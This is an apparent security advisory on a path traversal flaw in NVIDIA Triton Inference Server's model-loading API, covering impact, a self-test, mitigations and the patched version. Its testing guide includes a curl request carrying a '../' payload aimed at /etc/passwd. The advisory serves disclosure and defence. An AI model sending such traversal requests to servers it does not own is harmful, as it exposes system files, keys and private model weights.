Path Traversal in NVIDIA Triton Inference Server Leads to Arbitrary File Read
Overview
A high-severity path traversal vulnerability was found in the NVIDIA Triton Inference Server, a widely used software for deploying and serving AI models in production. The vulnerability existed in the API endpoint responsible for loading models from a repository. The server failed to properly sanitize user-provided model repository paths. An attacker with network access to the Triton server's API could send a specially crafted request specifying a model path containing '`../`' sequences. This allowed them to traverse outside the intended model repository directory and access arbitrary files on the server's filesystem. An attacker could read sensitive files such as `/etc/passwd`, application source code, SSH keys, or model weights from other, non-public models stored on the same server. This could lead to sensitive data exposure, intellectual property theft, and provide an attacker with information to facilitate further attacks on the infrastructure. The vulnerability affected multi-tenant environments particularly severely, where one user could potentially access another's data.
Affected Systems
Testing Guide
1. **Check Version**: Run `docker inspect <triton-container-id>` or check your deployment configuration to determine the version of the Triton Inference Server image you are using. Versions prior to `nvcr.io/nvidia/tritonserver:23.02-py3` are vulnerable. 2. **Send Test API Request**: Using a tool like `curl`, send a request to the model loading endpoint with a traversal path. For example: `curl -X POST localhost:8000/v2/repository/models/load -d '{"model_name": "../../../../etc/passwd"}'`. 3. **Analyze Response**: If the server returns an error message indicating it tried to read from a path outside the model repository, or in a worst-case scenario returns the content of the file, your instance is vulnerable.
Mitigation Steps
1. **Upgrade NVIDIA Triton**: Update the NVIDIA Triton Inference Server to version 23.02 or newer, where the path sanitization issue is resolved. 2. **Use Minimal Base Images**: Run Triton in containers built from minimal base images to reduce the number of sensitive files available on the filesystem. 3. **Restrict Network Access**: Use firewalls or security groups to restrict access to the Triton Inference Server's API endpoints to only trusted clients. 4. **Apply Principle of Least Privilege**: Run the Triton server process as a non-root user with minimal file system permissions, preventing it from reading sensitive system files even if a traversal were successful.
Patch Details
Patched in Triton Inference Server version 23.02 and all subsequent releases.